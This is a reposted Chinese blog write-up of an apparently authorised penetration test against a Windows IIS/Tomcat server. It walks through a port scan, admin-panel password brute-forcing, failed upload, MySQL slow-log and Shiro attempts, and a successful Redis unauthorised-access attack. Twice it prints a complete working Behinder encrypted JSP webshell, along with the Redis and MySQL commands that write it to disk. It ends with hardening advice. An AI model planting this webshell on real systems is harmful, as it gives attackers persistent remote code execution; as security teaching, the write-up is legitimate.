踩坑版日站-记录某次授权渗透测试

admin 2022年12月2日14:27:19评论29 views字数 3553阅读11分50秒阅读模式

朋友闲聊中,无意提起想试试日站,毕竟好久不做这事,有点手生。

于是朋友把站点告诉了我,前部分正常步骤搜集信息,查看ip端口。

踩坑版日站-记录某次授权渗透测试


解析出来发现..19*.102,

扫一波端口发现


21/tcp open

80/tcp open http Microsoft IIS httpd 10.0

6379/tcp open

8085/tcp open http nginx 1.16.1 tianhe

8089/tcp open http 404

8098/tcp open http 404

一看开放服务还不少,挨个来,抓一波redis。

踩坑版日站-记录某次授权渗透测试

敏感地发现好像有弱密码,直接网站上去试试。


还真给我找到了一个 **管理系统,祭出我强大的字典,再搞一搞朋友名字的社工,使用burp的intruder。


哈,不出我所料怼了两分钟就怼进去了,而且还是超管,这里就不放过程图了:


踩坑版日站-记录某次授权渗透测试

踩坑版日站-记录某次授权渗透测试

到处翻了翻,发现是开发环境。

系统文件上传:


其中有些上传点,竟然接收PUT方法,直接上传,改文件名后缀、内容,burp走一波:


踩坑版日站-记录某次授权渗透测试


诶,不对,竟然过不去,好家伙


踩坑版日站-记录某次授权渗透测试

返回于:

踩坑版日站-记录某次授权渗透测试


Failed to parse multipart servlet request; nested exception is java.io.IOException: The temporary upload location

java报错,原因是没有该目录。。。好的吧,记住使用jsp了,用冰蝎的加密马。


<%@page import="java.util.,javax.crypto.,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

mysql日志写入:


漫游系统中发现有sql数据库管理,貌似是直接拼装sql语句的:

尝试mysql的骚操作-慢日志写入webshell:

SHOW VARIABLES LIKE "%slow_query_log%";

正常的话还可以类似:


set global slow_query_log=1;

set global slow_query_log_file='C:TomcatwebappsROOTconf-back.jsp';

select ' <%@page import="java.util.*,javax.crypto........一句话木马' or sleep(11);


踩坑版日站-记录某次授权渗透测试

WTF???解析错误??又白高兴了一场,抓了个包看看:


踩坑版日站-记录某次授权渗透测试

原来是url编码拼接了,而且使用解释器接收语句进行处理,算了,谁让我这么菜呢,给朋友做了太多日志不太好交差。

shiro反序列化:


分析数据包发现响应有rememberMe=deleteMe标识,于是想到最新的shiro反序列化。


踩坑版日站-记录某次授权渗透测试


祭出我的nb工具试一波:

工具地址:

https://github.com/fupinglee/ShiroScan/releases

https://github.com/fupinglee/ShiroScan/releases/tag/v1.1

https://github.com/fupinglee/JavaTools/tree/master/Shiro#v20

https://github.com/wh1t3p1g/ysoserial

https://github.com/frohoff/ysoserial

https://github.com/LuckyC4t/shiro-urldns/blob/master/src/main/java/luckycat/shirourldns/URLDNS.java

https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ

https://github.com/zema1/ysoserial/[通用回显]

踩坑版日站-记录某次授权渗透测试


我去,不对劲,仔细一看,原来请求数据包只带token标识,不使用cookie,于是直接放弃。


redis未授权:



哎呦,一个小站还很牢固,没事,还有别的端口,想起来刚看见的redis,很常见的redis未授权访问。

(参考文章《Redis on Windows 出网利用探索》:https://xz.aliyun.com/t/8153)

但是redis未授权只能写入文件,linux可写公钥,写计划任务反弹,wndows就只能写webshell了,但还有一个现实问题,需要获取真实目录。


于是本菜又在网站里漫游了一波,终于被我发现一个目录浏览功能!


踩坑版日站-记录某次授权渗透测试


但是当前网站的根目录是不可能访问的,只能解析到其余的盘,于是搜罗了一波。


好像发现了了不得的事情!竟然有某大厂杀毒!!!


踩坑版日站-记录某次授权渗透测试


那我得小心了,好多东西需要免杀


发现好多个tomcat,联想到端口汇总8089和8098都开放但是404,这就正常了,只是测试站点,需要特定目录才能访问。


于是挨个试,终于发现一个aico***的目录:

踩坑版日站-记录某次授权渗透测试


访问8089发现:


踩坑版日站-记录某次授权渗透测试



还等什么,试试redis写入功能,可以的话直接免杀webshell:


踩坑版日站-记录某次授权渗透测试


发现有权限,于是本地搭建环境测试冰蝎马:


踩坑版日站-记录某次授权渗透测试

可以放心地使用了:


(redis写入字符要用“”转义)

config set dir "C:Program Files***ROOT"

config set dbfilename "index-back.jsp"

set xxx1xxx "<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>"


踩坑版日站-记录某次授权渗透测试

当然最后别忘了复原:

del xxx1xxx

config set dir "C:*** "

config set dbfilename "dump"

踩坑版日站-记录某次授权渗透测试


访问该页面,没有报错


踩坑版日站-记录某次授权渗透测试


冰蝎连接


踩坑版日站-记录某次授权渗透测试


最后终于松了一口气,总算不是没有啥都没干成,然后整理一下报给朋友,顺便提了几个建议:


别把测试服务公开在公网,可以设置白名单访问。


朋友说这是在公网的单一服务器,没有域环境或者工作组,

于是就没有了后续步骤,不过朋友说你运气好,就这个服务是管理员权限,其他都是普通用户……我表示,其实我也试了很多,哈哈哈。

总结


总结几点:

  1. 避免设置弱密码,使用复杂密码提高测试业务的安全性。

  2. 非必要的服务不要暴露在公网。

  3. 业务开发时对登录cookie进行加密,避免使用单纯的token校验用户。

  4. 常用业务使用普通用户启动….

    作者:耳旁有首歌,来源https://xz.aliyun.com/t/8532

声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权否则需自行承担,本公众号及原作者不承担相应的后果.

学习更多渗透技能!供靶场练习技能

踩坑版日站-记录某次授权渗透测试

扫码领白帽黑客视频资料及工具

踩坑版日站-记录某次授权渗透测试

原文始发于微信公众号(渗透师老A):踩坑版日站-记录某次授权渗透测试

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月2日14:27:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   踩坑版日站-记录某次授权渗透测试http://cn-sec.com/archives/1434903.html

发表评论

匿名网友 填写信息